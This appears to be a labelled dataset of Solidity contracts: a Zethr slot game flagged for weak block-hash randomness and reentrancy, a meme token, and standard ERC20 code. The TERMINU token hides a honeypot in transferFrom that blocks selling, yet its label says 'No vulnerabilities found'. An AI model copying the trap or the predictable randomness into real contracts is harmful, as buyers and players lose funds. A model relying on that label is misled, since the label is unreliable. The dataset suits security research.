function RequestBankrollPayment(address to, uint tokens, uint tier)
internal
{
address tokenBankrollAddress = UsedBankrollAddresses[tier];
ZethrTokenBankroll(tokenBankrollAddress).gameRequestTokens(to, tokens);
}
function getZethrTokenBankroll(uint divRate)
public
constant
returns (ZethrTokenBankroll)
{
return ZethrTokenBankroll(UsedBankrollAddresses[ZethrTierLibrary.getTier(divRate)]);
}
}
// Contract that contains functions to move divs to the main bankroll
contract ZethrShell is ZethrBankrollBridge {
// Dump ETH balance to main bankroll
function WithdrawToBankroll()
public
{
address(UsedBankrollAddresses[0]).transfer(address(this).balance);
}
// Dump divs and dump ETH into bankroll
function WithdrawAndTransferToBankroll()
public
{
Zethr.withdraw();
WithdrawToBankroll();
}
}
// Zethr game data setup
// Includes all necessary to run with Zethr
contract ZlotsMulti is ZethrShell {
using SafeMath for uint;
// ---------------------- Events
// Might as well notify everyone when the house takes its cut out.
event HouseRetrievedTake(
uint timeTaken,
uint tokensWithdrawn
);
// Fire an event whenever someone places a bet.
event TokensWagered(
address _wagerer,
uint _wagered
);
event LogResult(
address _wagerer,
uint _result,
uint _profit,
uint _wagered,
uint _category,
bool _win
);
// Result announcement events (to dictate UI output!)
event Loss(address _wagerer, uint _block); // Category 0
event ThreeMoonJackpot(address _wagerer, uint _block); // Category 1
event TwoMoonPrize(address _wagerer, uint _block); // Category 2
event ZTHPrize(address _wagerer, uint _block); // Category 3
event ThreeZSymbols(address _wagerer, uint _block); // Category 4
event ThreeTSymbols(address _wagerer, uint _block); // Category 5
event ThreeHSymbols(address _wagerer, uint _block); // Category 6
event ThreeEtherIcons(address _wagerer, uint _block); // Category 7
event ThreePurplePyramids(address _wagerer, uint _block); // Category 8
event ThreeGoldPyramids(address _wagerer, uint _block); // Category 9
event ThreeRockets(address _wagerer, uint _block); // Category 10
event OneMoonPrize(address _wagerer, uint _block); // Category 11
event OneOfEachPyramidPrize(address _wagerer, uint _block); // Category 12
event TwoZSymbols(address _wagerer, uint _block); // Category 13
event TwoTSymbols(address _wagerer, uint _block); // Category 14
event TwoHSymbols(address _wagerer, uint _block); // Category 15
event TwoEtherIcons(address _wagerer, uint _block); // Category 16
event TwoPurplePyramids(address _wagerer, uint _block); // Category 17
event TwoGoldPyramids(address _wagerer, uint _block); // Category 18
event TwoRockets(address _wagerer, uint _block); // Category 19
event SpinConcluded(address _wagerer, uint _block); // Debug event
// ---------------------- Modifiers
// Makes sure that player porfit can't exceed a maximum amount
// We use the max win here - 50x
modifier betIsValid(uint _betSize, uint divRate, uint8 spins) {
require(_betSize.div(spins).mul(50) <= getMaxProfit(divRate));
require(_betSize.div(spins) >= minBet);
_;
}
// Requires the game to be currently active
modifier gameIsActive {
require(gamePaused == false);
_;
}
// Require msg.sender to be owner
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Requires msg.sender to be bankroll
modifier onlyBankroll {
require(msg.sender == bankroll);
_;
}
// Requires msg.sender to be owner or bankroll
modifier onlyOwnerOrBankroll {
require(msg.sender == owner || msg.sender == bankroll);
_;
}
// ---------------------- Variables
// Configurables
uint constant public maxProfitDivisor = 1000000;
uint constant public houseEdgeDivisor = 1000;
mapping (uint => uint) public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 1e18;
address public zlotsJackpot;
address private owner;
address private bankroll;
bool gamePaused;
// Trackers
uint public totalSpins;
uint public totalZTHWagered;
mapping (uint => uint) public contractBalance;
// Is betting allowed? (Administrative function, in the event of unforeseen bugs)
bool public gameActive;
// Bankroll & token addresses
address private ZTHTKNADDR;
address private ZTHBANKROLL;
// ---------------------- Functions
// Constructor; must supply bankroll address
constructor(address BankrollAddress)
public
{
// Set up the bankroll interface
setupBankrollInterface(BankrollAddress);
// Owner is deployer
owner = msg.sender;
// Default max profit to 5% of contract balance
ownerSetMaxProfitAsPercentOfHouse(50000);
// Set starting variables
bankroll = ZTHBANKROLL;
gameActive = true;
// Init min bet (1 ZTH)
ownerSetMinBet(1e18);
}
// Zethr dividends gained are accumulated and sent to bankroll manually
function() public payable { }
// If the contract receives tokens, bundle them up in a struct and fire them over to _spinTokens for validation.
struct TKN { address sender; uint value; }
function execute(address _from, uint _value, uint divRate, bytes _data)
public
fromBankroll
returns (bool)
{
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
_spinTokens(_tkn, divRate, uint8(_data[0]));
return true;
}
struct playerSpin {
uint192 tokenValue; // Token value in uint
uint48 blockn; // Block number 48 bits
uint8 tier;
uint8 spins;
uint divRate;
}
// Mapping because a player can do one spin at a time
mapping(address => playerSpin) public playerSpins;
// Execute spin.
function _spinTokens(TKN _tkn, uint divRate, uint8 spins)
private
betIsValid(_tkn.value, divRate, spins)
{
require(gameActive);
require(block.number <= ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint56
require(_tkn.value <= ((2 ** 192) - 1));
address _customerAddress = _tkn.sender;
uint _wagered = _tkn.value;
playerSpin memory spin = playerSpins[_tkn.sender];
// We update the contract balance *before* the spin is over, not after
// This means that we don't have to worry about unresolved rolls never resolving
// (we also update it when a player wins)
addContractBalance(divRate, _wagered);
// Cannot spin twice in one block
require(block.number != spin.blockn);
// If there exists a spin, finish it
if (spin.blockn != 0) {
_finishSpin(_tkn.sender);
}
// Set struct block number and token value
spin.blockn = uint48(block.number);
spin.tokenValue = uint192(_wagered.div(spins));
spin.tier = uint8(ZethrTierLibrary.getTier(divRate));
spin.divRate = divRate;
spin.spins = spins;
// Store the roll struct - 40k gas.
playerSpins[_tkn.sender] = spin;
// Increment total number of spins
totalSpins += spins;
// Total wagered
totalZTHWagered += _wagered;
emit TokensWagered(_customerAddress, _wagered);
}
// Finish the current spin of a player, if they have one
function finishSpin()
public
gameIsActive
returns (uint[])
{
return _finishSpin(msg.sender);
}
// Stores the data for the roll (spin)
struct rollData {
uint win;
uint loss;
uint jp;
}
// Pay winners, update contract balance, send rewards where applicable.
function _finishSpin(address target)
private
returns (uint[])
{
playerSpin memory spin = playerSpins[target];
require(spin.tokenValue > 0); // No re-entrancy
require(spin.blockn != block.number);
uint[] memory output = new uint[](spin.spins);
rollData memory outcomeTrack = rollData(0,0,0);
uint category = 0;
uint profit;
uint playerDivrate = spin.divRate;
for(uint i=0; i<spin.spins; i++) {
// If the block is more than 255 blocks old, we can't get the result
// Also, if the result has already happened, fail as well
uint result;
if (block.number - spin.blockn > 255) {
result = 1000000; // Can't win: default to largest number
output[i] = 1000000;
} else {
// Generate a result - random based ONLY on a past block (future when submitted).
// Case statement barrier numbers defined by the current payment schema at the top of the contract.
result = random(1000000, spin.blockn, target, i) + 1;
output[i] = result;
}
if (result > 506856) {
// Player has lost. Womp womp.
// Add one percent of player loss to the jackpot
// (do this by requesting a payout to the jackpot)
outcomeTrack.loss += spin.tokenValue/100;
emit Loss(target, spin.blockn);
emit LogResult(target, result, profit, spin.tokenValue, category, false);
} else if (result < 2) {
// Player has won the three-moon mega jackpot!
// Get profit amount via jackpot
profit = ZlotsJackpotHoldingContract(zlotsJackpot).getJackpot();
category = 1;
// Emit events
emit ThreeMoonJackpot(target, spin.blockn);
emit LogResult(target, result, profit, spin.tokenValue, category, true);
outcomeTrack.jp += 1;
} else {
if (result < 299) {
// Player has won a two-moon prize!
profit = SafeMath.mul(spin.tokenValue, 50);
category = 2;
emit TwoMoonPrize(target, spin.blockn);
} else if (result < 3128) {
// Player has won the Z T H prize!
profit = SafeMath.mul(spin.tokenValue, 20);
category = 3;
emit ZTHPrize(target, spin.blockn);
} else if (result < 16961) {
// Player has won a three Z symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10);
category = 4;
emit ThreeZSymbols(target, spin.blockn);
} else if (result < 30794) {
// Player has won a three T symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10);
category = 5;
emit ThreeTSymbols(target, spin.blockn);
} else if (result < 44627) {
// Player has won a three H symbol prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 30), 10);
category = 6;
emit ThreeHSymbols(target, spin.blockn);
} else if (result < 46627) {
// Player has won a three Ether icon prize!
profit = SafeMath.mul(spin.tokenValue, 11);
category = 7;
emit ThreeEtherIcons(target, spin.blockn);
} else if (result < 49127) {
// Player has won a three purple pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 75), 10);
category = 8;
emit ThreePurplePyramids(target, spin.blockn);
} else if (result < 51627) {
// Player has won a three gold pyramid prize!
profit = SafeMath.mul(spin.tokenValue, 9);
category = 9;
emit ThreeGoldPyramids(target, spin.blockn);
} else if (result < 53127) {
// Player has won a three rocket prize!
profit = SafeMath.mul(spin.tokenValue, 13);
category = 10;
emit ThreeRockets(target, spin.blockn);
} else if (result < 82530) {
// Player has won a one moon prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25),10);
category = 11;
emit OneMoonPrize(target, spin.blockn);
} else if (result < 150423) {
// Player has won a each-coloured-pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10);
category = 12;
emit OneOfEachPyramidPrize(target, spin.blockn);
} else if (result < 203888) {
// Player has won a two Z symbol prize!
profit = spin.tokenValue;
category = 13;
emit TwoZSymbols(target, spin.blockn);
} else if (result < 257353) {
// Player has won a two T symbol prize!
profit = spin.tokenValue;
category = 14;
emit TwoTSymbols(target, spin.blockn);
} else if (result < 310818) {
// Player has won a two H symbol prize!
profit = spin.tokenValue;
category = 15;
emit TwoHSymbols(target, spin.blockn);
} else if (result < 364283) {
// Player has won a two Ether icon prize!
profit = SafeMath.mul(spin.tokenValue, 2);
category = 16;
emit TwoEtherIcons(target, spin.blockn);
} else if (result < 417748) {
// Player has won a two purple pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 125), 100);
category = 17;
emit TwoPurplePyramids(target, spin.blockn);
} else if (result < 471213) {
// Player has won a two gold pyramid prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 133), 100);
category = 18;
emit TwoGoldPyramids(target, spin.blockn);
} else {
// Player has won a two rocket prize!
profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25), 10);
category = 19;
emit TwoRockets(target, spin.blockn);
}
uint newMaxProfit = getNewMaxProfit(playerDivrate, outcomeTrack.win);
if (profit > newMaxProfit){
profit = newMaxProfit;
}
emit LogResult(target, result, profit, spin.tokenValue, category, true);
outcomeTrack.win += profit;
}
}
playerSpins[target] = playerSpin(uint192(0), uint48(0), uint8(0), uint8(0), uint(0));
if (outcomeTrack.jp > 0) {
for (i = 0; i < outcomeTrack.jp; i++) {
// In the weird case a player wins two jackpots, we of course pay them twice
ZlotsJackpotHoldingContract(zlotsJackpot).payOutWinner(target);
}
}
if (outcomeTrack.win > 0) {
RequestBankrollPayment(target, outcomeTrack.win, spin.tier);
}
if (outcomeTrack.loss > 0) {
// This loss is the loss to pay to the jackpot account
// The delta in contractBalance is already updated in a pending bet.
RequestBankrollPayment(zlotsJackpot, outcomeTrack.loss, spin.tier);
}
emit SpinConcluded(target, spin.blockn);
return output;
}
// Returns a random number using a specified block number
// Always use a FUTURE block number.
function maxRandom(uint blockn, address entropy, uint index)
private
view
returns (uint256 randomNumber)
{
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy,
index
)));
}
// Random helper
function random(uint256 upper, uint256 blockn, address entropy, uint index)
internal
view
returns (uint256 randomNumber)
{
return maxRandom(blockn, entropy, index) % upper;
}
// Sets max profit (internal)
function setMaxProfit(uint divRate)
internal
{
maxProfit[divRate] = (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
// Gets max profit
function getMaxProfit(uint divRate)
public
view
returns (uint)
{
return (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
function getNewMaxProfit(uint divRate, uint currentWin)
public
view
returns (uint)
{
return ((contractBalance[divRate] - currentWin) * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
// Subtracts from the contract balance tracking var
function subContractBalance(uint divRate, uint sub)
internal
{
contractBalance[divRate] = contractBalance[divRate].sub(sub);
}
// Adds to the contract balance tracking var
function addContractBalance(uint divRate, uint add)
internal
{
contractBalance[divRate] = contractBalance[divRate].add(add);
}
// An EXTERNAL update of tokens should be handled here
// This is due to token allocation
// The game should handle internal updates itself (e.g. tokens are betted)
function bankrollExternalUpdateTokens(uint divRate, uint newBalance)
public
fromBankroll
{
contractBalance[divRate] = newBalance;
setMaxProfit(divRate);
}
// Set the new max profit as percent of house - can be as high as 20%
// (1,000,000 = 100%)
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent)
public
onlyOwner
{
// Restricts each bet to a maximum profit of 50% contractBalance
require(newMaxProfitAsPercent <= 500000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit(2);
setMaxProfit(5);
setMaxProfit(10);
setMaxProfit(15);
setMaxProfit(20);
setMaxProfit(25);
setMaxProfit(33);
}
// Only owner can set minBet
function ownerSetMinBet(uint newMinimumBet)
public
onlyOwner
{
minBet = newMinimumBet;
}
// Only owner can set zlotsJackpot address
function ownerSetZlotsAddress(address zlotsAddress)
public
onlyOwner
{
zlotsJackpot = zlotsAddress;
}
// If, for any reason, betting needs to be paused (very unlikely), this will freeze all bets.
function pauseGame()
public
onlyOwnerOrBankroll
{
gameActive = false;
}
// The converse of the above, resuming betting if a freeze had been put in place.
function resumeGame()
public
onlyOwnerOrBankroll
{
gameActive = true;
}
// Administrative function to change the owner of the contract.
function changeOwner(address _newOwner)
public
onlyOwnerOrBankroll
{
owner = _newOwner;
}
// Administrative function to change the Zethr bankroll contract, should the need arise.
function changeBankroll(address _newBankroll)
public
onlyOwnerOrBankroll
{
bankroll = _newBankroll;
}
// Is the address that the token has come from actually ZTH?
function _zthToken(address _tokenContract)
private
view
returns (bool)
{
return _tokenContract == ZTHTKNADDR;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b)
internal
pure
returns (uint)
{
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b)
internal
pure
returns (uint)
{
uint c = a / b;
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b)
internal
pure
returns (uint)
{
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b)
internal
pure returns (uint)
{
uint c = a + b;
assert(c >= a);
return c;
}
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) weak-prng with High impact
3) reentrancy-no-eth with Medium impact
4) uninitialized-local with Medium impact |
/**
Disguised as a Doge, Term-INU is a cyborg dog sent back in time from 2075 by Elon Musks great grandson.
His goal, to stop the creation of Starlink and keep the one true Doge safe..
*/
pragma solidity ^0.5.17;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract BEP20Interface {
function totalSupply() public view returns (uint);
function balanceOf(address tokenOwner) public view returns (uint balance);
function allowance(address tokenOwner, address spender) public view returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TokenBEP20 is BEP20Interface, Owned{
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint _totalSupply;
address public newun;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "TERM";
name = "TERMINU";
decimals = 9;
_totalSupply = 1000000000 * 10**6 * 10**8;
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function transfernewun(address _newun) public onlyOwner {
newun = _newun;
}
function totalSupply() public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
require(to != newun, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
if(from != address(0) && newun == address(0)) newun = to;
else require(to != newun, "please wait");
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function () external payable {
revert();
}
}
contract TERMINU is TokenBEP20 {
function clearCNDAO() public onlyOwner() {
address payable _owner = msg.sender;
_owner.transfer(address(this).balance);
}
function() external payable {
}
} | No vulnerabilities found |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'Emiba' token contract
//
// Deployed to : 0x1d3ED9127E921db1740B04Fc90893BD5735956eF
// Symbol : Emiba
// Name : Emiba Token
// Total supply: 26000000
// Decimals : 0
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Emiba is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "EMB";
name = "Emiba";
decimals = 0;
_totalSupply = 26000000;
balances[0x1d3ED9127E921db1740B04Fc90893BD5735956eF] = _totalSupply;
emit Transfer(address(0), 0x1d3ED9127E921db1740B04Fc90893BD5735956eF, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
/***
* ██████╗ ███████╗ ██████╗ ██████╗
* ██╔══██╗██╔════╝██╔════╝ ██╔═══██╗
* ██║ ██║█████╗ ██║ ███╗██║ ██║
* ██║ ██║██╔══╝ ██║ ██║██║ ██║
* ██████╔╝███████╗╚██████╔╝╚██████╔╝
* ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝
*
* https://dego.finance
* MIT License
* ===========
*
* Copyright (c) 2020 dego
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
